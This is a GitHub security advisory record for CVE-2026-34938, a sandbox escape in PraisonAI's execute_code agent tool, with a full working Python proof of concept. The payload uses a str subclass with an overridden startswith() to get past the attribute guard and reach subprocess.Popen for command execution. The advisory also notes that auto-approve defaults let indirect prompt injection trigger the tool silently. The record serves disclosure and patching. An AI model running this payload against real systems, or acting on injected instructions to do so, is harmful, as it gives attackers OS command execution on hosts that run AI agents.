CVE-2026-34938: PraisonAI Python Sandbox Escape Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6vh2-h83c-9294",
  "modified" : "2026-04-06T22:54:12Z",
  "published" : "2026-04-01T23:17:48Z",
  "aliases" : [ "CVE-2026-34938" ],
  "summary" : "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code",
  "details" : "### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses\n        raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen(['id'], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\nmro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))\nsubs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))\nmod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))\nname_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n    try:\n        m = getattr(cls, mod_attr, '')\n        n = getattr(cls, name_attr, '')\n        if m == 'subprocess' and n == 'Popen':\n            r = cls(['id'], stdout=PIPE, stderr=PIPE)\n            out, err = r.communicate()\n            print('RCE:', out.decode())\n            break\n    except Exception as e:\n        print('ERR:', e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.90"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.89"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34938"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:17:48Z",
    "nvd_published_at" : "2026-04-03T23:17:06Z"
  }
}